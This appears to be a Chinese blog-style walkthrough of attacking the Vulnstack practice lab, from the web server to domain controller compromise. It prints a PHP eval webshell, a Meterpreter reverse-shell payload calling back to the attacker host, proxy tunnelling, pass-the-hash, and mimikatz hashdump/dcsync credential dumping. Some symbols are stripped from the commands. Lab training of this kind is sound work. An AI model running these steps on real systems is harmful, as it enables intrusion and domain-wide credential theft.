1. 红日靶场环境搭建与拓扑解析红日靶场vulnstack是国内知名的渗透测试实战平台模拟了真实企业网络环境中常见的漏洞场景。这个靶场特别适合想要系统学习内网渗透技术的新手我自己第一次接触时就被它贴近实战的设计惊艳到了。靶场环境采用典型的外网Web服务器内网域环境架构完美复现了企业网络的分区隔离特点。实验环境由四台主机组成Windows Server 2008 R2域控制器10.37.129.9、Windows 7 Web服务器双网卡配置外网172.20.10.8/内网10.37.129.7、Windows 10客户端172.20.10.9以及Kali攻击机172.20.10.10。这种设计模拟了真实企业DMZ区与内网隔离的场景Web服务器作为跳板机的双网卡配置尤其值得注意——我在实际渗透测试中遇到过无数次类似的网络架构。搭建环境时有个小技巧建议先把所有虚拟机的防火墙关闭避免初学时被防火墙规则干扰。Windows Server 2008需要配置为域控制器记得安装Active Directory域服务角色。Web服务器要特别注意双网卡的配置NAT网卡用于外网访问Host-Only网卡用于内网通信。这个环节最容易出错的就是网卡配置顺序我有次就搞反了导致内网不通排查了半天才发现问题。2. 外网Web服务器攻防实战2.1 信息收集与漏洞发现从外网突破是大多数渗透测试的起点。我习惯先用Nmap做全端口扫描参数建议用-sS -T4 -A -p-这个组合能较全面地识别服务信息。扫描Web服务器后发现开放了80端口访问后是个phpinfo页面——这已经泄露了大量服务器配置信息在实际项目中遇到这种情况我都会特别兴奋因为phpinfo简直就是漏洞指南针。用DirBuster扫描目录时字典选择很关键。经过多次实战我发现用common.txt配合extensionsphp的组合效率最高。这次扫描发现了phpMyAdmin后台和beifen.rar备份文件这两个发现直接为后续突破提供了突破口。备份文件下载后解压发现了网站源码这种开发人员留下的彩蛋在实际渗透中屡见不鲜。2.2 多重漏洞利用实战phpMyAdmin的弱口令(root/root)让我直接拿到了数据库权限。尝试用SELECT ... INTO OUTFILE写Webshell时遇到了secure_file_priv限制这是MySQL的安全机制。这时候可以尝试慢查询日志getshell具体操作分三步set global slow_query_log1; set global slow_query_log_fileC:/phpStudy/WWW/shell.php; select ?php eval($_POST[cmd]);? or sleep(11);YXCMS的文件上传漏洞是另一个突破口。后台地址/admin通过目录扫描发现后测试发现未过滤的上传点。上传一句话木马时要注意避开常见的黑名单关键字我常用phtml后缀绕过?php eval($_POST[cmd]);?用蚁剑连接Webshell后第一件事就是收集系统信息。systeminfo查看系统版本net user查看用户列表ipconfig /all查看网络配置。这些基础信息决定了后续的渗透路径比如发现是Windows 7系统就可以优先考虑MS17-010漏洞。3. 后渗透阶段技术要点3.1 Meterpreter会话管理拿到Webshell后要建立更稳定的控制通道。我用msfvenom生成的反向shell payloadmsfvenom -p windows/meterpreter/reverse_tcp LHOST172.20.10.10 LPORT4444 -f exe shell.exe上传执行后msfconsole中配置handler接收会话。几个必须掌握的meterpreter命令getuid查看当前权限getsystem尝试提权到SYSTEMhashdump导出密码哈希run post/windows/manage/migrate迁移到稳定进程特别要注意的是在32位进程中加载mimikatz可能会失败需要先迁移到64位进程如explorer.exe。我常用ps查看进程列表找到合适的进程后migrate PID进行迁移。3.2 Cobalt Strike联动技巧Cobalt Strike作为专业渗透工具与Metasploit的联动能极大提升效率。在CS中创建HTTP监听器后可以通过msf的payload_inject模块将会话派发给CSuse exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST CS服务器IP set LPORT CS监听端口 set DisablePayloadHandler true set SESSION 当前会话ID exploit这种联动特别适合团队协作场景CS的图形化界面和日志功能让渗透过程更加直观。我习惯在CS中标记重要主机用不同颜色区分权限级别这样整个内网结构一目了然。4. 内网横向移动实战4.1 隧道搭建与代理配置内网渗透的关键是建立稳定的通信隧道。Metasploit的socks4a模块简单易用use auxiliary/server/socks4a set SRVHOST 0.0.0.0 set SRVPORT 1080 run配置Proxychains时要注意/etc/proxychains.conf的修改socks4 172.20.10.10 1080测试代理是否生效可以用proxychains curl http://内网IP。对于图形化工具我推荐ProxifierCS的组合配置时要注意规则设置把需要代理的进程如nmap、浏览器单独设置规则避免全局代理影响正常网络。4.2 内网信息收集方法论内网信息收集要讲究策略我通常分三个阶段进行存活主机发现用arp-scan和MSF的udp_sweep模块端口服务扫描Proxychainsnmap组合参数建议-Pn -sT -T4重点服务探测针对445(SMB)、3389(RDP)、1433(MSSQL)等关键端口MSF有很多优秀的内网扫描模块比如use auxiliary/scanner/smb/smb_version set RHOSTS 172.20.10.0/24 run扫描结果要系统记录我习惯用OneNote分门别类整理标注可能存在漏洞的服务版本。特别要注意域控制器的识别通过nltest /dclist:域名或者扫描389端口都能快速定位。4.3 域渗透核心技术拿到域管理员凭证后psexec是最直接的横向移动方式psexec.exe \\目标IP -u 域名\管理员 -p 密码 cmd如果只有NTLM hash可以用mimikatz进行Pass-the-Hash攻击sekurlsa::pth /user:管理员 /domain:域名 /ntlm:哈希值在红日靶场中我通过MS17-010漏洞拿下了域控制器。实际渗透中要注意漏洞利用的稳定性 EternalBlue漏洞利用成功率与系统补丁、防火墙状态密切相关。建议先用auxiliary/scanner/smb/smb_ms17_010模块检测漏洞是否存在再尝试利用。最后拿到域控权限后不要忘记提取域内所有用户的哈希。使用mimikatz的lsadump::dcsync可以导出整个域的用户凭证这些数据对后续的渗透测试和权限维持都至关重要。整个攻击链的完成不仅需要技术能力更需要耐心和细致的操作每个环节都可能遇到意外情况这时候扎实的基础知识和灵活的应变能力就显得尤为重要了。